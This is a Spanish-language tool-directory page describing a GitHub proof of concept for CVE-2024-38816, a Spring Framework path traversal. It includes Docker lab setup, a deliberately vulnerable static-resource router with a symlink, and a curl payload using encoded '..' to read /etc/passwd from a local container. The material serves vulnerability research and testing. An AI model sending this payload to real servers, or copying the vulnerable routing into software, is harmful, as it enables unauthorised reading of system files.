Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-38816-PoC — CVE-2024-38816 Prueba de concepto | Kitploit
Herramientas/GitHubGitHub/wulinpin/cve-2024-38816-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubwulinpin/cve-2024-38816-poc

CVE-2024-38816-PoC

CVE-2024-38816 Prueba de concepto

Ver Repositorio
976hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-38816 Prueba de Concepto (PoC)

Esta es una prueba de concepto para la vulnerabilidad CVE-2024-38816, que demuestra un exploit de path traversal.

Pasos de Ejecución

  1. Construye la imagen de Docker: (Spring Boot 3.0.13, basado en Spring Framework 6.0.3)

    docker build -t cve-2024-38816-poc .
    
  2. Ejecuta el contenedor y expón el puerto 8080 a la máquina anfitriona:

    docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
    
  3. Ejecuta el siguiente comando para ejecutar el PoC y confirmar la vulnerabilidad:

    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Si se muestra el contenido del archivo /etc/passwd, la vulnerabilidad queda confirmada.

Notas

Este PoC fue creado basándose en un análisis de las notas de versión y los registros de commits. El comportamiento de la vulnerabilidad real puede diferir, por lo que la precisión no está garantizada. Úsalo bajo tu propio riesgo.

Consideraciones

  1. La vulnerabilidad fue parcheada en Spring Framework 6.1.13, según lo confirmado en las notas de versión.

  2. Al revisar las notas de versión y los registros de commits relacionados, he identificado los siguientes dos problemas como potencialmente vinculados a esta vulnerabilidad:

    • Issue #33424: Se añadió una nueva opción relacionada con los enlaces simbólicos.
      • Commit relacionado: 5d80d75051f395c17f6b9367e267d458585b336d
    • Issue #33434: Se modificó el código para sanear los caracteres codificados en %.
      • Commit relacionado: d86bf8b2056429edf5494456cffcb2b243331c49
  3. Según el aviso de seguridad, es probable que deban cumplirse las siguientes condiciones para que el ataque tenga éxito:

    • Se utiliza RouterFunctions
    • Se utiliza FileSystemResource
    • Hay enlaces simbólicos presentes
    • En el ataque intervienen caracteres codificados en %

Configuración del Entorno

Se utiliza un entorno Docker para reproducir la vulnerabilidad.

  1. Crea PathTraversalDemoApplication.java con el siguiente código para configurar el enrutamiento de archivos estáticos usando RouterFunction y FileSystemResource:

    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. Añade el siguiente comando al Dockerfile para crear un enlace simbólico:

    RUN ln -s /static /app/static/link
    
  3. Crea un payload que aproveche la codificación % para atravesar directorios a través del enlace simbólico.

    • Ruta: /static/link/%2e%2e/etc/passwd
  4. Usa el siguiente comando curl para ejecutar el PoC y verificar si el ataque tiene éxito:

    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Si el ataque tiene éxito, se mostrará el contenido del archivo /etc/passwd.

Descargo de Responsabilidad

Este PoC se proporciona con fines educativos y de investigación en seguridad. Antes de usarlo en un sistema real, asegúrate de que la vulnerabilidad haya sido corregida y de contar con la autorización adecuada. El autor no se hace responsable de ningún uso indebido de este código.

Descargar herramienta